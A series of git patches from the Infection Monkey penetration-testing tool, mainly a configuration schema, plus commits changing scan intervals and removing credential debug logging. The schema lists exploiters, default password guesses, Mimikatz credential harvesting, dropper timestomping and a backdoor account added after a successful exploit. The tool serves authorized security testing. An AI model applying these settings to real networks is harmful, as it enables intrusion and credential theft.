- "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 7, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" - }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "description": - "Determines for how long (in seconds) should the monkey wait between iterations" - }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfuly exploit on previous iterations" - } - } - } - } - }, - "internal": { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" - }, - "keep_tunnel_open_time": { - "title": "Keep tunnel open time", - "type": "integer", - "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } - } - }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, - "default": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ], - "description": "Determines which classes to use for fingerprinting" - } - } - }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } - }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" - }, - "dropper_date_reference_path_windows": { - "title": "Dropper date reference path (Windows)", - "type": "string", - "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" - }, - "dropper_date_reference_path_linux": { - "title": "Dropper date reference path (Linux)", - "type": "string", - "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" - }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" - }, - "dropper_target_path_win_64": { - "title": "Dropper target path on Windows (64bit)", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should try to move itsel instead of copying itself" - " to target path" - } - } - }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" - }, - "send_log_to_server": { - "title": "Send log to server", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "exploit_lm_hash_list": { - "title": "Exploit LM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of LM hashes to use on exploits using credentials" - }, - "exploit_ntlm_hash_list": { - "title": "Exploit NTLM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" - }, - "exploit_ssh_keys": { - "title": "SSH key pairs list", - "type": "array", - "uniqueItems": True, - "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - } - } - } - } - }, - "cnc": { - "title": "Monkey Island", - "type": "object", - "properties": { - "servers": { - "title": "Servers", - "type": "object", - "properties": { - "command_servers": { - "title": "Command servers", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], - "description": "List of command servers to try and communicate with (format is :)" - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "exploiter_classes": { - "title": "Exploits", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, - "default": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter" - ], - "description": - "Determines which exploits to use. " + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service" - }, - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" - } - } - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067" - }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" - }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } - }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" - }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' - ], - "description": "List of full paths to share folder for SambaCry to guess" - }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } - } - }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } - }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } - } - } - } - }, - "options": { - "collapsed": True - } -} # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py new file mode 100644 index 000000000..d4d294afc --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -0,0 +1,855 @@ +WARNING_SIGN = u" \u26A0" + + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SMB Exploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WMI Exploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RDP Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "MS08-067 Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSH Exploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShock Exploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCry Exploiter" + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovy Exploiter" + }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + }, + { + "type": "string", + "enum": [ + "MySQLFinger" + ], + "title": "MySQLFinger" + }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + + { + "type": "string", + "enum": [ + "ElasticFinger" + ], + "title": "ElasticFinger" + } + ] + } + }, + "properties": { + "basic": { + "title": "Basic - Credentials", + "type": "object", + "properties": { + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "basic_network": { + "title": "Basic - Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should scan its subnets additionally" + }, + "depth": { + "title": "Distance from island", + "type": "integer", + "default": 2, + "description": + "Amount of hops allowed for the monkey to spread from the island. " + + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating too far" + }, + "subnet_scan_list": { + "title": "Scan IP/subnet list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "List of IPs/subnets the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" + } + } + } + } + }, + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 30, + "description": "Determines the maximum number of machines the monkey is allowed to scan" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": + "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating to " + "a high number of machines" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": + "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": + "Determines whether the monkey should retry exploiting machines" + " it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": + "The name of the mutex used to determine whether the monkey is already running" + }, + "keep_tunnel_open_time": { + "title": "Keep tunnel open time", + "type": "integer", + "default": 60, + "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "description": "Determines which classes to use for fingerprinting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "%windir%\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should set the monkey's file date to be the same as" + " another file" + }, + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", + "type": "string", + "default": "%windir%\\system32\\kernel32.dll", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Windows (use fullpath)" + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Linux (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", + "type": "string", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should try to move itsel instead of copying itself" + " to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "%temp%\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default": "%temp%\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + }, + "send_log_to_server": { + "title": "Send log to server", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey sends its log to the Monkey Island server" + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": { + "type": "string" + }, + "description": "List of SSH key pairs to use, when trying to ssh into servers" + } + } + } + } + }, + "cnc": { + "title": "Monkey Island", + "type": "object", + "properties": { + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "192.0.2.0:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": + "List of internet services to try and communicate with to determine internet" + " connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "192.0.2.0:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "exploiter_classes": { + "title": "Exploits", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" + ], + "description": + "Determines which exploits to use. " + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service" + }, + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": False, + "description": "Determines whether the monkey should skip the exploit if the monkey's file" + " is already on the remote machine" + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine" + " (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": + "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} \ No newline at end of file From b536083573b4206c2029dac3f7b41cc9ce1518b5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:08:09 +0200 Subject: [PATCH 175/183] Remove debug print on what users/passwords to try --- monkey/infection_monkey/monkey.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index efdb43a3c..30eb57f1c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -120,9 +120,6 @@ class InfectionMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() - LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) - LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) - self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes From 3ca5119e03175dfc9383b9e7c963371674ca2a3b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:25:47 +0200 Subject: [PATCH 176/183] Remove debug print on what users/passwords to try --- monkey/infection_monkey/network/network_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8fd8c2b65 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -106,8 +106,8 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + time.sleep(WormConfiguration.tcp_scan_interval) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 43896ed7183090bf808af4bc9d78bdfba89f886c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:27:57 +0200 Subject: [PATCH 177/183] Set default scan interval to 0 --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/services/config_schema.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..28c9c249f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..e81029b79 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -79,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..8704cbf19 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -817,7 +817,7 @@ SCHEMA = { "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", - "default": 200, + "default": 0, "description": "Time to sleep (in milliseconds) between scans" }, "tcp_scan_timeout": { From d3a42792fb0605049c9d987cb2a7b6828fe45a0d Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 18:41:56 +0200 Subject: [PATCH 178/183] Remove dead line of code in config.py --- monkey/infection_monkey/config.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..74a98feb1 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,8 +7,6 @@ from abc import ABCMeta from itertools import product import importlib -importlib.import_module('infection_monkey', 'network') - __author__ = 'itamar' GUID = str(uuid.getnode()) From 077d5365266536685a3fd9d3846465e2167a89cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:03 +0200 Subject: [PATCH 179/183] Add missing dependency --- monkey/infection_monkey/requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 468b748e8..e08cbf4ca 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,4 +14,5 @@ six ecdsa netifaces 